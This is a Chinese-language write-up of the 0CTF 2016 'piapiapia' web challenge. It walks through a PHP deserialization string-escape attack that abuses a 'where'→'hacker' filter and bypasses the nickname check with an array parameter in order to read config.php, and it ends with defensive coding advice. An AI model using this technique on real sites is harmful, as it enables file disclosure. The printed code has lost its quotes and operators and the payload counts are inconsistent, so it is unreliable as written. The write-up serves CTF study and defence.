PHP反序列化漏洞实战:0CTF piapiapia题解

发布时间:2026/7/19 4:27:18
PHP反序列化漏洞实战:0CTF piapiapia题解 1. 题目背景与漏洞定位这道来自0CTF 2016的Web题目piapiapia考察了PHP反序列化漏洞的实战利用。题目构建了一个典型的用户管理系统包含注册、登录、个人信息修改等功能。通过审计源码我们发现漏洞点位于profile.php文件中的反序列化操作$profile unserialize($profile); $photo base64_encode(file_get_contents($profile[photo]));这里将用户资料反序列化后直接使用file_get_contents读取photo字段指定的文件内容。由于profile数据完全来自用户输入且序列化存储前仅经过简单过滤这为反序列化注入创造了条件。2. 完整利用链分析2.1 数据流追踪数据入口update.php接收用户提交的个人信息手机、邮箱、昵称和头像文件序列化存储将用户数据序列化后存入数据库$user-update_profile($username, serialize($profile));反序列化点profile.php读取并反序列化这些数据危险操作反序列化后的photo字段被直接用于文件读取2.2 关键过滤函数分析class.php中的filter函数对输入进行了以下处理public function filter($string) { $escape array(\, \\\\); $escape / . implode(|, $escape) . /; $string preg_replace($escape, _, $string); $safe array(select, insert, update, delete, where); $safe / . implode(|, $safe) . /i; return preg_replace($safe, hacker, $string); }这个过滤存在两个重要特征将SQL关键字替换为hackerwhere替换为hacker存在字符长度差异5→63. 漏洞利用实战3.1 构造序列化Payload我们需要构造一个特殊的序列化字符串使得经过filter处理后能够注入额外的photo字段指向config.php。基本思路如下原始payload结构a:4:{ s:5:phone;s:11:12345678901; s:5:email;s:10:testqq.com; s:8:nickname;s:34:wherewherewherewherewherewherewhere; s:5:photo;s:10:config.php; }经过filter处理后where被替换为hacker导致字符串长度变化3.2 精确计算字符逃逸我们需要逃逸出34个字符来完整注入我们的恶意payload。计算过程每个where被替换为hacker增加1个字符需要逃逸的payload长度34字符因此需要34个where进行替换最终nickname值为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere;}s:5:photo;s:10:config.php;}3.3 绕过输入限制update.php对nickname有以下限制if(preg_match(/[^a-zA-Z0-9_]/, $_POST[nickname]) || strlen($_POST[nickname]) 10)可以通过以下方式绕过使用数组形式提交nickname[]参数通过Burp Suite拦截修改请求4. 完整攻击步骤注册一个测试账号登录后访问update.php拦截修改个人资料的POST请求修改nickname为构造的payload提交后访问profile.php查看页面源码找到base64编码的config.php内容解码获取flag5. 防御方案5.1 安全编码建议避免直接反序列化用户输入使用json_encode/json_decode替代序列化对反序列化操作进行严格的白名单校验5.2 加固代码示例// 安全的反序列化实现 function safe_unserialize($data) { $allowed_classes [ProfileData]; $options [allowed_classes $allowed_classes]; return unserialize($data, $options); } // 文件读取安全校验 function safe_file_read($path) { $allowed_dir realpath(./upload/); $target realpath($path); if(strpos($target, $allowed_dir) 0) { return file_get_contents($target); } throw new Exception(Invalid file path); }6. 经验总结序列化漏洞定位关注unserialize()函数的参数来源字符逃逸计算精确计算替换前后的长度差异输入限制绕过善用数组形式和请求拦截防御要点永远不要信任反序列化的数据在实际CTF比赛中这类题目通常会结合其他漏洞点建议解题时先全面审计所有源码理清程序完整的数据流重点关注敏感函数调用尝试多种攻击面组合